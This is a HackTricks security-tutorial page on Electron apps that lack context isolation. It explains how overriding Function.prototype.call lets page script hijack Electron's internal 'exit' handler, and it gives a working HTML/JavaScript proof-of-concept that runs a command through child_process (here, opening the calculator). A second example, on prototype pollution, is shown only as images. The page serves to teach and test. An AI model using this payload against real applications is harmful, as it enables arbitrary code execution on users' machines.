# Electron contextIsolation RCE via Electron internal code

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details>

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{% endhint %}

## Example 1

Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)

"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:

```javascript
process.on('exit', function (){
    for (let p in cachedArchives) {
        if (!hasProp.call(cachedArchives, p)) continue
        cachedArchives[p].destroy()
    }
})
```

{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}

![](<../../../.gitbook/assets/image (1070).png>)

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists

Then it goes here:

![](<../../../.gitbook/assets/image (793).png>)

Where "self" is Node's process object:

![](<../../../.gitbook/assets/image (700).png>)

The process object has a references to "require" function:

```
process.mainModule.require
```

As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:

```html
<script>
Function.prototype.call = function(process){
    process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>
```

## Example 2

Get **require object from prototype pollution**. From [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)

Leak:

<figure><img src="../../../.gitbook/assets/image (279).png" alt=""><figcaption></figcaption></figure>

Exploit:

<figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}